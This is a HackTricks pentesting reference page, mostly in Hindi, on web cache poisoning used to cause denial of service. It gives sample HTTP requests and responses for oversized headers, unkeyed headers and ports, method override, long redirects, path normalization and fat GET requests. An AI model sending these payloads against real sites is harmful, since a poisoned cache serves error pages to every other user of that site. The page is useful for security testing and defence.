Cache Poisoning to DoS

Support HackTricks

इस पृष्ठ पर आप विभिन्न प्रकार के प्रयास कर सकते हैं ताकि वेब सर्वर अनुरोधों के लिए त्रुटियों के साथ प्रतिक्रिया दे जो कैश सर्वरों के लिए मान्य हैं

  • HTTP Header Oversize (HHO)

एक अनुरोध भेजें जिसमें हेडर का आकार वेब सर्वर द्वारा समर्थित आकार से बड़ा हो लेकिन कैश सर्वर द्वारा समर्थित आकार से छोटा हो। वेब सर्वर 400 प्रतिक्रिया के साथ प्रतिक्रिया देगा जो कैश किया जा सकता है:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP मेटा कैरेक्टर (HMC) और अप्रत्याशित मान

एक हेडर भेजें जिसमें कुछ हानिकारक मेटा कैरेक्टर जैसे और शामिल हों। हमले के सफल होने के लिए आपको पहले कैश को बायपास करना होगा।

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

A badly configured header could be just \: as a header.

यह भी काम कर सकता है यदि अप्रत्याशित मान भेजे जाते हैं, जैसे अप्रत्याशित Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Unkeyed header

कुछ वेबसाइटें एक त्रुटि स्थिति कोड लौटाएंगी यदि वे अनुरोध में कुछ विशिष्ट हेडर जैसे X-Amz-Website-Location-Redirect: someThing हेडर को देखती हैं:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Method Override Attack (HMO)

यदि सर्वर X-HTTP-Method-Override, X-HTTP-Method या X-Method-Override जैसे हेडर के साथ HTTP विधि को बदलने का समर्थन करता है। तो एक वैध पृष्ठ को अनुरोध करना संभव है, विधि को बदलकर ताकि सर्वर इसका समर्थन न करे और एक खराब प्रतिक्रिया कैश हो जाए:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Unkeyed Port

यदि Host हेडर में पोर्ट प्रतिक्रिया में परिलक्षित होता है और कैश कुंजी में शामिल नहीं होता है, तो इसे एक अप्रयुक्त पोर्ट पर पुनर्निर्देशित करना संभव है:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Long Redirect DoS

जैसे कि निम्नलिखित उदाहरण में, x को कैश नहीं किया जा रहा है, इसलिए एक हमलावर रीडायरेक्ट प्रतिक्रिया के व्यवहार का दुरुपयोग कर सकता है ताकि रीडायरेक्ट एक ऐसा URL भेजे जो इतना बड़ा हो कि यह एक त्रुटि लौटाए। फिर, जो लोग बिना कैश किए गए x कुंजी के URL तक पहुँचने की कोशिश करेंगे, उन्हें त्रुटि प्रतिक्रिया मिलेगी:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • होस्ट हेडर केस सामान्यीकरण

होस्ट हेडर को केस संवेदनशील नहीं होना चाहिए लेकिन कुछ वेबसाइटें इसे लोअरकेस में अपेक्षित करती हैं, यदि यह नहीं है तो एक त्रुटि लौटाती हैं:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • पथ सामान्यीकरण

कुछ पृष्ठ त्रुटि कोड लौटाएंगे जब पथ में डेटा URLencode किया जाएगा, हालाँकि, कैश सर्वर पथ को URLdecode करेगा और URLdecoded पथ के लिए प्रतिक्रिया को संग्रहीत करेगा:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

कुछ कैश सर्वर, जैसे Cloudflare, या वेब सर्वर, बॉडी के साथ GET अनुरोधों को रोकते हैं, इसलिए इसका दुरुपयोग एक अमान्य प्रतिक्रिया को कैश करने के लिए किया जा सकता है:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

संदर्भ

HackTricks का समर्थन करें

Last updated